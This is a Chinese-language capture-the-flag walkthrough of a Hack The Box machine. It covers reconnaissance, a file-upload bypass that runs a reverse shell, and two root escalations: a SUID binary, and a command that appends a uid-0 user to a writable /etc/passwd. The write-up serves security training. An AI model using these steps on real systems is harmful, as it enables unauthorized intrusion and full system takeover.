文章目录
- 0x01 信息收集
- 0x02 文件上传漏洞利用
- 0x03 权限提升
- 方法一:SUID提权
- 方法二:配置不当提权
0x01 信息收集
1.端口扫描
发现 ssh(22)、DNS(53)、HTTP(80) 端口
nmap -sC -sV 10.129.29.200
访问 80 端口,页面为Apache2 Ubuntu 默认页面
猜测域名可能为 bank.htb
echo "10.129.29.200 bank.htb" | sudo tee -a /etc/hosts
访问 bank.htb 重定向到 bank.htb/login.php
登录表单尝试:爆破、sql注入失败,尝试进行其他方式。
2. 目录扫描
./gobuster dir -u http://bank.htb -w directory-list-2.3-medium.txt -x php -t 50
-
/support.php
重定向到 login.php。 -
/uploads
重定向到 /uploads/,并且返回 403 禁止的页面。 -
/assets
重定向到 /assets/启用了目录列表的位置。 -
/inc
重定向到/inc/ -
header.php
返回 302 login.php,这会导致浏览器转到/inc/login.php不存在的位置。我怀疑所有页面都有这个标头,它检查有效会话,如果没有则重定向。其他三个返回空页(这是有道理的,因为它们应该被包含在内)。 -
/balance-transfer
提供了一个包含很多.acc文件
的目录列表,每个文件都是32个十六进制字符。
Christos Christopoulos:chris@bank.htb:!##HTBB4nkP4ssw0rd!##
0x02 文件上传漏洞利用
1. 文件上传功能利用
上传 phpinfo.php 文件,上传失败,显示只能上传 image 文件。
2. 绕过文件上传限制
使用burpsuite抓包,尝试绕过对上传文件的限制。失败
在检查http://bank.htb/support.php网页源代码时发现一条注释:
以.htb文件会以php格式运行
将 phpinfo.php 改为 phpinfo.htb
继续尝试,成功绕过上传限制
3. 上传反弹shell,获取权限
服务端执行监听,上传反弹 shell 文件,上传成功后点击Click Here 成功执行shell文件,获取到权限
0x03 权限提升
1. 将shell升级为PTY
python -c 'import pty;pty.spawn("bash")'
方法一:SUID提权
1.检查以root权限运行具有SUID权限的二进制文件
find / -type f -user root -perm -4000 2>/dev/null
2.运行 /var/htb/bin/emergency
会返回root
方法二:配置不当提权
1.检查密码文件,发现
passwd文件任何人都可写
2.使用openssl为密码 password 生成密码哈希
openssl passwd -1 password
3.添加一个 uid 和 gid 为0的 root 用户
echo 'test123:$1$JW6KCfwL$atWohn9aRfb/uLULAQkSX1:0:0:pwned:/root:/bin/bash' >> /etc/passwd
上述命令的格式是冒号分隔的用户名(不能以数字开头)、密码哈希、用户 ID、组 ID、注释、主目录、shell。
4.使用 su 切换到test123用户,获取root权限